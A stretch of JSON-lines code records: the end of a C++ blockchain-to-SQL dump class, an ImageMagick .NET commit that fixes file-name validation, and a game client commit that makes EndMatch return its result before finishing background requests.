if (0 == (b->height) % 5000)\n        {\n            fprintf(\n                stderr,\n                \"block=%8\" PRIu64 \" \"\n                \"nbOutputs=%9\" PRIu64 \"\\n\",\n                b->height,\n                outputMap.size()\n            );\n        }\n    }\n\n    virtual void startTX(\n        const uint8_t *p,\n        const uint8_t *hash\n    )\n    {\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ tx_id BIGINT PRIMARY KEY\n            \/\/ tx_hash BINARY(32)\n            \/\/ block_id BIGINT\n            fprintf(txFile, \"%\" PRIu64 \"|\", ++txID);\n\n            writeEscapedBinaryBuffer(txFile, hash, kSHA256ByteSize);\n            fputc('|', txFile);\n\n            fprintf(txFile, \"%\" PRIu64 \"\\n\", blkID);\n        } else {\n            txID++;\n        }\n    }\n\n    virtual void endOutput(\n        const uint8_t *p,\n        uint64_t      value,\n        const uint8_t *txHash,\n        uint64_t      outputIndex,\n        const uint8_t *outputScript,\n        uint64_t      outputScriptSize\n    )\n    {\n        uint8_t address[40];\n        address[0] = 'X';\n        address[1] = 0;\n\n        uint8_t addrType[3];\n        uint160_t pubKeyHash;\n        int type = solveOutputScript(pubKeyHash.v, outputScript, outputScriptSize, addrType);\n        if (likely(0 <= type)) hash160ToAddr(address, pubKeyHash.v);\n\n        if (blkID >= cutoffBlock)\n        {\n            \/\/ txout_id BIGINT PRIMARY KEY\n            \/\/ address CHAR(40)\n            \/\/ txout_value BIGINT\n            \/\/ tx_id BIGINT\n            \/\/ txout_pos INT\n            fprintf(\n                outputFile,\n                \"%\" PRIu64 \"|\"\n                \"%s|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu32 \"\\n\"\n                ,\n                outputID,\n                address,\n                value,\n                txID,\n                (uint32_t)outputIndex\n            );\n        }\n\n        uint32_t oi = outputIndex;\n        uint8_t *h = allocHash256();\n        memcpy(h, txHash, kSHA256ByteSize);\n\n        uintptr_t ih = reinterpret_cast<uintptr_t>(h);\n        uint32_t *h32 = reinterpret_cast<uint32_t *>(ih);\n        h32[0] ^= oi;\n\n        outputMap[h] = outputID++;\n    }\n\n    virtual void edge(\n        uint64_t      value,\n        const uint8_t *upTXHash,\n        uint64_t      outputIndex,\n        const uint8_t *outputScript,\n        uint64_t      outputScriptSize,\n        const uint8_t *downTXHash,\n        uint64_t      inputIndex,\n        const uint8_t *inputScript,\n        uint64_t      inputScriptSize\n    )\n    {\n        uint256_t h;\n        uint32_t oi = outputIndex;\n        memcpy(h.v, upTXHash, kSHA256ByteSize);\n\n        uintptr_t ih = reinterpret_cast<uintptr_t>(h.v);\n        uint32_t *h32 = reinterpret_cast<uint32_t *>(ih);\n        h32[0] ^= oi;\n\n        auto src = outputMap.find(h.v);\n        if (outputMap.end() == src) errFatal(\"Unconnected input!\");\n\n        if (blkID >= cutoffBlock)\n        {\n            fprintf(\n                inputFile,\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu64 \"|\"\n                \"%\" PRIu32 \"\\n\"\n                ,\n                inputID++,\n                src->second,\n                txID,\n                (uint32_t)outputIndex\n            );\n        } else {\n            inputID++;\n        }\n    }\n\n    virtual void wrapup()\n    {\n        fclose(outputFile);\n        fclose(inputFile);\n        fclose(blockFile);\n        fclose(txFile);\n        system(\"chmod +x .\/blockchain.sh\");\n        system(\".\/blockchain.sh\");\n        info(\"Done.\\n\");\n        exit(0);\n    }\n};\n\nstatic SQLDump sqlDump;\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=================================================================================================\r\n\/\/ Copyright 2013-2014 Dirk Lemstra <https:\/\/magick.codeplex.com\/>\r\n\/\/\r\n\/\/ Licensed under the ImageMagick License (the \"License\"); you may not use this file except in \r\n\/\/ compliance with the License. You may obtain a copy of the License at\r\n\/\/\r\n\/\/   http:\/\/www.imagemagick.org\/script\/license.php\r\n\/\/\r\n\/\/ Unless required by applicable law or agreed to in writing, software distributed under the\r\n\/\/ License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\r\n\/\/ express or implied. See the License for the specific language governing permissions and\r\n\/\/ limitations under the License.\r\n\/\/=================================================================================================\r\n#include \"Stdafx.h\"\r\n\r\nusing namespace System::IO;\r\nusing namespace System::Globalization;\r\n\r\nnamespace ImageMagick\r\n{\r\n\t\/\/==============================================================================================\r\n\tString^ Throw::FormatMessage(String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (args->Length == 0)\r\n\t\t\treturn message;\r\n\r\n\t\treturn String::Format(CultureInfo::InvariantCulture, message, args);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfFalse(String^ paramName, bool condition, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (!condition)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfInvalidFileName(String^ fileName)\r\n\t{\r\n\t\tThrow::IfNullOrEmpty(\"fileName\", fileName);\r\n\r\n\t\tif (fileName->Length > 248)\r\n\t\t\treturn;\r\n\r\n\t\tint colonIndex = fileName->IndexOf(':');\r\n\t\tif (colonIndex + 1 > fileName->Length)\r\n\t\t{\r\n\t\t\tif (fileName->IndexOf(':', colonIndex + 1) != -1)\r\n\t\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tString^ path = Path::GetFullPath(fileName);\r\n\t\tif (path->EndsWith(\"]\", StringComparison::OrdinalIgnoreCase))\r\n\t\t{\r\n\t\t\tint endIndex = path->IndexOf(\"[\", StringComparison::OrdinalIgnoreCase);\r\n\t\t\tif (endIndex != -1)\r\n\t\t\t\tpath = path->Substring(0, endIndex);\r\n\t\t}\r\n\r\n\t\tThrow::IfFalse(\"fileName\", File::Exists(path), \"Unable to find file: {0}\", path);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNegative(String^ paramName, Percentage value)\r\n\t{\r\n\t\tif ((double)value < 0.0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value should be greater then zero.\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNull(String^ paramName, Object^ value)\r\n\t{\r\n\t\tif (value == nullptr)\r\n\t\t\tthrow gcnew ArgumentNullException(paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNull(String^ paramName, Object^ value, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (value == nullptr)\r\n\t\t\tthrow gcnew ArgumentNullException(paramName, FormatMessage(message, args));\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, Array^ value)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value cannot be empty\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, String^ value)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value cannot be empty\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, String^ value, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value, message, args);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfOutOfRange(String^ paramName, int index, int length)\r\n\t{\r\n\t\tif (index < 0 || index >= length)\r\n\t\t\tthrow gcnew ArgumentOutOfRangeException(paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfTrue(String^ paramName, bool condition, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (condition)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n}\r\n<commit_msg>Fixed Throw.IfInvalidFileName<commit_after>\/\/=================================================================================================\r\n\/\/ Copyright 2013-2014 Dirk Lemstra <https:\/\/magick.codeplex.com\/>\r\n\/\/\r\n\/\/ Licensed under the ImageMagick License (the \"License\"); you may not use this file except in \r\n\/\/ compliance with the License. You may obtain a copy of the License at\r\n\/\/\r\n\/\/   http:\/\/www.imagemagick.org\/script\/license.php\r\n\/\/\r\n\/\/ Unless required by applicable law or agreed to in writing, software distributed under the\r\n\/\/ License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\r\n\/\/ express or implied. See the License for the specific language governing permissions and\r\n\/\/ limitations under the License.\r\n\/\/=================================================================================================\r\n#include \"Stdafx.h\"\r\n\r\nusing namespace System::IO;\r\nusing namespace System::Globalization;\r\n\r\nnamespace ImageMagick\r\n{\r\n\t\/\/==============================================================================================\r\n\tString^ Throw::FormatMessage(String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (args->Length == 0)\r\n\t\t\treturn message;\r\n\r\n\t\treturn String::Format(CultureInfo::InvariantCulture, message, args);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfFalse(String^ paramName, bool condition, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (!condition)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfInvalidFileName(String^ fileName)\r\n\t{\r\n\t\tThrow::IfNullOrEmpty(\"fileName\", fileName);\r\n\r\n\t\tif (fileName->Length > 248)\r\n\t\t\treturn;\r\n\r\n\t\tint colonIndex = fileName->IndexOf(':');\r\n\t\tif (colonIndex + 1 > fileName->Length)\r\n\t\t{\r\n\t\t\tif (fileName->IndexOf(':', colonIndex + 1) != -1)\r\n\t\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tif (!fileName->Contains(\"\\\\\"))\r\n\t\t\treturn;\r\n\r\n\t\tString^ path = Path::GetFullPath(fileName);\r\n\t\tif (path->EndsWith(\"]\", StringComparison::OrdinalIgnoreCase))\r\n\t\t{\r\n\t\t\tint endIndex = path->IndexOf(\"[\", StringComparison::OrdinalIgnoreCase);\r\n\t\t\tif (endIndex != -1)\r\n\t\t\t\tpath = path->Substring(0, endIndex);\r\n\t\t}\r\n\r\n\t\tThrow::IfFalse(\"fileName\", File::Exists(path), \"Unable to find file: {0}\", path);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNegative(String^ paramName, Percentage value)\r\n\t{\r\n\t\tif ((double)value < 0.0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value should be greater then zero.\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNull(String^ paramName, Object^ value)\r\n\t{\r\n\t\tif (value == nullptr)\r\n\t\t\tthrow gcnew ArgumentNullException(paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNull(String^ paramName, Object^ value, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (value == nullptr)\r\n\t\t\tthrow gcnew ArgumentNullException(paramName, FormatMessage(message, args));\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, Array^ value)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value cannot be empty\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, String^ value)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(\"Value cannot be empty\", paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfNullOrEmpty(String^ paramName, String^ value, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tThrow::IfNull(paramName, value, message, args);\r\n\r\n\t\tif (value->Length == 0)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfOutOfRange(String^ paramName, int index, int length)\r\n\t{\r\n\t\tif (index < 0 || index >= length)\r\n\t\t\tthrow gcnew ArgumentOutOfRangeException(paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n\tvoid Throw::IfTrue(String^ paramName, bool condition, String^ message, ... array<Object^>^ args)\r\n\t{\r\n\t\tif (condition)\r\n\t\t\tthrow gcnew ArgumentException(FormatMessage(message, args), paramName);\r\n\t}\r\n\t\/\/==============================================================================================\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"phune_rest_jamp.h\"\n\nstatic s3eCallback onResultPending;\nstatic PhuneMatch *currentMatch = NULL;\n\nstatic int32 onNullReturn(void *, void*){\n\treturn 0;\n}\n\nstatic int32 onStartMatchReturn(void *data, void* userData){\n\tcurrentMatch = static_cast<PhuneMatch*>(data);\n\tonResultPending(NULL, userData);\n\treturn 0;\n}\n\nint32 PhuneRestJamp::Init(s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::Init(onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::Login(s3eWebView* g_WebView, s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::Login(g_WebView, onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetMe(s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::GetMe(onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StartMatch(JampGameId gameId, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\tonResultPending = onResult;\n\treturn PhuneRest::StartMatch(s.c_str(), onStartMatchReturn, onError, userData);\n}\n\nint32 PhuneRestJamp::EndMatch(JampGameId gameId, std::string level, JampScore score, PlayerStatus status, s3eCallback onResult, s3eCallback onError, void *userData){\n\tif (currentMatch == NULL){\n\t\tonError(NULL, NULL);\n\t\treturn 0;\n\t}\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tstd::string s3 = std::string(SCORE_LEVEL_KEY_PREFIX);\n\ts3.append(level);\n\n\t\n\tscore.matchId = currentMatch->matchId;\n\t\n\n\n\tPhunePlayer player;\n\tplayer.score = score.score;\n\tplayer.status = status;\n\tplayer.id = currentMatch->playerId;\n\n\tint64 t = getCurrentTime();\n\n\t\/\/Send the result of the match\n\tPhuneRest::EndMatch(score.matchId, player, onNullReturn, onError);\n\n    IwTrace(PHUNE, (\"Creating map begin\"));\n    std::map<int64, JsonListObject<JsonString> > map;\n    int consecutivePerfects = 0;\n    int bestSequence = -1;\n    bool allPerfects = true;\n\t\/\/aggregate cells performance\n    for (std::vector<JampCellPerformance>::iterator it = score.cellsPerformance.elements.begin(); it != score.cellsPerformance.elements.end(); it++){\n        \n        \/\/Use the notes for events\n        if(it->useNoteEvaluation){\n            for (std::vector<JampNotePerformance>::iterator it2 = it->notesPerformance.elements.begin(); it2 != it->notesPerformance.elements.end(); it2++){\n                if (it2->classification == PERFECT) {\n                    consecutivePerfects++;\n                }\n                else{\n                    allPerfects = false;\n                    if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n                        bestSequence = consecutivePerfects;\n                    }\n                    consecutivePerfects = 0;\n                }\n            }\n            \n        }\n        \/\/use the cell for events\n        else{\n            if (it->classification == PERFECT) {\n                consecutivePerfects++;\n            }\n            else{\n                allPerfects = false;\n                if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n                    bestSequence = consecutivePerfects;\n                }\n                consecutivePerfects = 0;\n            }\n        }\n\n        \n        \n        \/\/found\n        if (map.find(it->cellId) == map.end()) {\n            JsonListObject<JsonString> list;\n            it->timeStamp = t;\n            JsonString js;\n            js.Deserialize(it->Serialize());\n            list.pushElement(js);\n            map.insert(std::make_pair(it->cellId,list));\n        }\n        else {\n            it->timeStamp = t;\n            std::string aux2;\n            JsonString js2;\n            js2.Deserialize(it->Serialize());\n            map.find(it->cellId)->second.pushElement(js2);\n        }\n    }\n    \n    if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n        bestSequence = consecutivePerfects;\n    }\n    \n    IwTrace(PHUNE, (\"Creating map end\"));\n    IwTrace(PHUNE, (\"Sending cells begin\"));\n    \/\/store the Cell performances\n    for (std::map<int64, JsonListObject<JsonString> >::iterator itMap = map.begin(); itMap != map.end(); itMap++){\n        \n        if (itMap->first > 0) {\n            \n            char buffer4[50];\n            sprintf(buffer4, \"%s%lld\", CELL_PERFORMACE_PREFIX, itMap->first);\n            std::string key_cell = std::string(buffer4);\n            \n            std::string out = itMap->second.Serialize();\n            \n            IwTrace(PHUNE, (\"Sending cell %lld begin\", itMap->first));\n            \n            PhuneRestBase::StoreGameDataJsonBatch(s.c_str(), key_cell.c_str(), itMap->second.Serialize().c_str(), onNullReturn, onError, userData, true);\n            \n            IwTrace(PHUNE, (\"Sending cell %lld end\", itMap->first));\n        }\n        else{\n            IwTrace(PHUNE, (\"Cell with invalid id:%lld. Ignoring...\", itMap->first));\n        }\n        \n    }\n    IwTrace(PHUNE, (\"Sending cells end\"));\n    \n    \n    \/\/Send the events\n    \n    JsonListObject<GameTriggerdEvent> events;\n    \n    \/\/consecutive perfects\n    if(bestSequence != -1){\n        ConsecutivePerfectsEvent cpe(bestSequence, gameId);\n        \n        cpe.playerId = currentMatch->playerId;\n        \n        events.pushElement(cpe);\n    }\n    \n    \/\/all perfects\n    if(allPerfects){\n        AllPerfectsEvent ape(gameId, level);\n        ape.playerId = currentMatch->playerId;\n        \n        events.pushElement(ape);\n    }\n        \n    \n    if(events.elements.size() > 0){\n        PhuneRest::StoreMatchEvents(events, score.matchId, onNullReturn, onError);\n    }\n\n\n\t\/\/store the score for the match\n\tscore.timeStamp = t;\n\tPhuneRestBase::StoreGameDataJson(s.c_str(), s3.c_str(), score.Serialize().c_str(), onResult, onError, userData, true);\n\t\n    \n    \n\tcurrentMatch = NULL;\n\n\treturn 0;\n}\n\nint32 PhuneRestJamp::GetHistoricScoreForLevelInGame(JampGameId gameId, const char *level, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tstd::string key_score = std::string(SCORE_LEVEL_KEY_PREFIX);\n\tkey_score.append(level);\n\treturn PhuneRestBase::GetGameDataJsonList(s.c_str(), key_score.c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StorePackInfoInGame(JampGameId gameId, JampPack pack, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tchar buffer2[50];\n\tsprintf(buffer2, \"%s%d\", PACK_PREFIX, gameId);\n\tstd::string s2 = std::string(buffer2);\n\n\treturn PhuneRestBase::StoreGameDataJson(s.c_str(), s2.c_str(), pack.Serialize().c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetPackInfoInGame(JampGameId gameId, int64 packid, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tchar buffer2[50];\n\tsprintf(buffer2, \"%s%d\", PACK_PREFIX, gameId);\n\tstd::string s2 = std::string(buffer2);\n\n\treturn PhuneRestBase::GetGameDataJson(s.c_str(), s2.c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StorePacksInGame(JampGameId gameId, JsonListObject<JampPack> packs, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n    \n    int64 totalStars = 0;\n    int64 starsWon = 0;\n    \n    for (std::vector<JampPack>::iterator it = packs.elements.begin(); it != packs.elements.end(); it++){\n        totalStars += it->starsMax;\n        starsWon += it->starsWon;\n    }\n    \n    JampGameProgress gp;\n    \n    gp.progress = (starsWon\/(float)totalStars)*100;\n    \n    PhuneRestBase::StoreGameDataJson(s.c_str(), GAME_PROGRESS_KEY, gp.Serialize().c_str(), onNullReturn, onError, NULL);\n\n\treturn PhuneRestBase::StoreGameDataJsonList(s.c_str(), PACKS_KEY, packs, onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetPacksInGame(JampGameId gameId, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\treturn PhuneRestBase::GetGameDataJsonList(s.c_str(), PACKS_KEY, onResult, onError, userData);\n}\n<commit_msg>JAMP: returning result after match finish. The other requests are done in background. More responsive to UI<commit_after>#include \"phune_rest_jamp.h\"\n\nstatic s3eCallback onResultPending;\nstatic PhuneMatch *currentMatch = NULL;\n\nstatic int32 onNullReturn(void *, void*){\n\treturn 0;\n}\n\nstatic int32 onStartMatchReturn(void *data, void* userData){\n\tcurrentMatch = static_cast<PhuneMatch*>(data);\n\tonResultPending(NULL, userData);\n\treturn 0;\n}\n\nint32 PhuneRestJamp::Init(s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::Init(onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::Login(s3eWebView* g_WebView, s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::Login(g_WebView, onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetMe(s3eCallback onResult, s3eCallback onError, void *userData){\n\treturn PhuneRest::GetMe(onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StartMatch(JampGameId gameId, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\tonResultPending = onResult;\n\treturn PhuneRest::StartMatch(s.c_str(), onStartMatchReturn, onError, userData);\n}\n\nint32 PhuneRestJamp::EndMatch(JampGameId gameId, std::string level, JampScore score, PlayerStatus status, s3eCallback onResult, s3eCallback onError, void *userData){\n    if (currentMatch == NULL){\n        onError(NULL, NULL);\n        return 0;\n    }\n    char buffer[50];\n    sprintf(buffer, \"%d\", gameId);\n    std::string s = std::string(buffer);\n    \n    std::string s3 = std::string(SCORE_LEVEL_KEY_PREFIX);\n    s3.append(level);\n    \n    \n    score.matchId = currentMatch->matchId;\n    \n    \n    \n    PhunePlayer player;\n    player.score = score.score;\n    player.status = status;\n    player.id = currentMatch->playerId;\n    \n    int64 t = getCurrentTime();\n    \n    \/\/Send the result of the match\n    PhuneRest::EndMatch(score.matchId, player, onResult, onError, userData);\n    \n    IwTrace(PHUNE, (\"Creating map begin\"));\n    std::map<int64, JsonListObject<JsonString> > map;\n    int consecutivePerfects = 0;\n    int bestSequence = -1;\n    bool allPerfects = true;\n    \/\/aggregate cells performance\n    for (std::vector<JampCellPerformance>::iterator it = score.cellsPerformance.elements.begin(); it != score.cellsPerformance.elements.end(); it++){\n        \n        \/\/Use the notes for events\n        if(it->useNoteEvaluation){\n            for (std::vector<JampNotePerformance>::iterator it2 = it->notesPerformance.elements.begin(); it2 != it->notesPerformance.elements.end(); it2++){\n                \n                if (it2->classification == PERFECT) {\n                    consecutivePerfects++;\n                }\n                else{\n                    allPerfects = false;\n                    if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n                        bestSequence = consecutivePerfects;\n                    }\n                    consecutivePerfects = 0;\n                }\n            }\n            \n        }\n        \/\/use the cell for events\n        else{\n            if (it->classification == PERFECT) {\n                consecutivePerfects++;\n            }\n            else{\n                allPerfects = false;\n                if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n                    bestSequence = consecutivePerfects;\n                }\n                consecutivePerfects = 0;\n            }\n        }\n\n        \n        \n        \/\/found\n        if (map.find(it->cellId) == map.end()) {\n            JsonListObject<JsonString> list;\n            it->timeStamp = t;\n            JsonString js;\n            js.Deserialize(it->Serialize());\n            list.pushElement(js);\n            map.insert(std::make_pair(it->cellId,list));\n        }\n        else {\n            it->timeStamp = t;\n            std::string aux2;\n            JsonString js2;\n            js2.Deserialize(it->Serialize());\n            map.find(it->cellId)->second.pushElement(js2);\n        }\n    }\n    \n    if(consecutivePerfects > 3 && consecutivePerfects > bestSequence){\n        bestSequence = consecutivePerfects;\n    }\n    \n    IwTrace(PHUNE, (\"Creating map end\"));\n    IwTrace(PHUNE, (\"Sending cells begin\"));\n    \/\/store the Cell performances\n    for (std::map<int64, JsonListObject<JsonString> >::iterator itMap = map.begin(); itMap != map.end(); itMap++){\n        \n        if (itMap->first > 0) {\n            \n            char buffer4[50];\n            sprintf(buffer4, \"%s%lld\", CELL_PERFORMACE_PREFIX, itMap->first);\n            std::string key_cell = std::string(buffer4);\n            \n            std::string out = itMap->second.Serialize();\n            \n            IwTrace(PHUNE, (\"Sending cell %lld begin\", itMap->first));\n            \n            PhuneRestBase::StoreGameDataJsonBatch(s.c_str(), key_cell.c_str(), itMap->second.Serialize().c_str(), onNullReturn, onError, userData, true);\n            \n            IwTrace(PHUNE, (\"Sending cell %lld end\", itMap->first));\n        }\n        else{\n            IwTrace(PHUNE, (\"Cell with invalid id:%lld. Ignoring...\", itMap->first));\n        }\n        \n    }\n    IwTrace(PHUNE, (\"Sending cells end\"));\n    \n    \n    \/\/Send the events\n    \n    JsonListObject<GameTriggerdEvent> events;\n    \n    \/\/consecutive perfects\n    if(bestSequence != -1){\n        ConsecutivePerfectsEvent cpe(bestSequence, gameId);\n        \n        cpe.playerId = currentMatch->playerId;\n        \n        events.pushElement(cpe);\n    }\n    \n    \/\/all perfects\n    if(allPerfects){\n        AllPerfectsEvent ape(gameId, level);\n        ape.playerId = currentMatch->playerId;\n        \n        events.pushElement(ape);\n    }\n        \n    \n    if(events.elements.size() > 0){\n        PhuneRest::StoreMatchEvents(events, score.matchId, onNullReturn, onError);\n    }\n    \n    \n    \/\/store the score for the match\n    score.timeStamp = t;\n    PhuneRestBase::StoreGameDataJson(s.c_str(), s3.c_str(), score.Serialize().c_str(), onNullReturn, onError, NULL, true);\n    \n    \n    \n    currentMatch = NULL;\n    \n\treturn 0;\n}\n\nint32 PhuneRestJamp::GetHistoricScoreForLevelInGame(JampGameId gameId, const char *level, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tstd::string key_score = std::string(SCORE_LEVEL_KEY_PREFIX);\n\tkey_score.append(level);\n\treturn PhuneRestBase::GetGameDataJsonList(s.c_str(), key_score.c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StorePackInfoInGame(JampGameId gameId, JampPack pack, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tchar buffer2[50];\n\tsprintf(buffer2, \"%s%d\", PACK_PREFIX, gameId);\n\tstd::string s2 = std::string(buffer2);\n\n\treturn PhuneRestBase::StoreGameDataJson(s.c_str(), s2.c_str(), pack.Serialize().c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetPackInfoInGame(JampGameId gameId, int64 packid, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\tchar buffer2[50];\n\tsprintf(buffer2, \"%s%d\", PACK_PREFIX, gameId);\n\tstd::string s2 = std::string(buffer2);\n\n\treturn PhuneRestBase::GetGameDataJson(s.c_str(), s2.c_str(), onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::StorePacksInGame(JampGameId gameId, JsonListObject<JampPack> packs, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n    \n    int64 totalStars = 0;\n    int64 starsWon = 0;\n    \n    for (std::vector<JampPack>::iterator it = packs.elements.begin(); it != packs.elements.end(); it++){\n        totalStars += it->starsMax;\n        starsWon += it->starsWon;\n    }\n    \n    JampGameProgress gp;\n    \n    gp.progress = (starsWon\/(float)totalStars)*100;\n    \n    PhuneRestBase::StoreGameDataJson(s.c_str(), GAME_PROGRESS_KEY, gp.Serialize().c_str(), onNullReturn, onError, NULL);\n\n\treturn PhuneRestBase::StoreGameDataJsonList(s.c_str(), PACKS_KEY, packs, onResult, onError, userData);\n}\n\nint32 PhuneRestJamp::GetPacksInGame(JampGameId gameId, s3eCallback onResult, s3eCallback onError, void *userData){\n\tchar buffer[50];\n\tsprintf(buffer, \"%d\", gameId);\n\tstd::string s = std::string(buffer);\n\n\treturn PhuneRestBase::GetGameDataJsonList(s.c_str(), PACKS_KEY, onResult, onError, userData);\n}\n<|endoftext|>"}
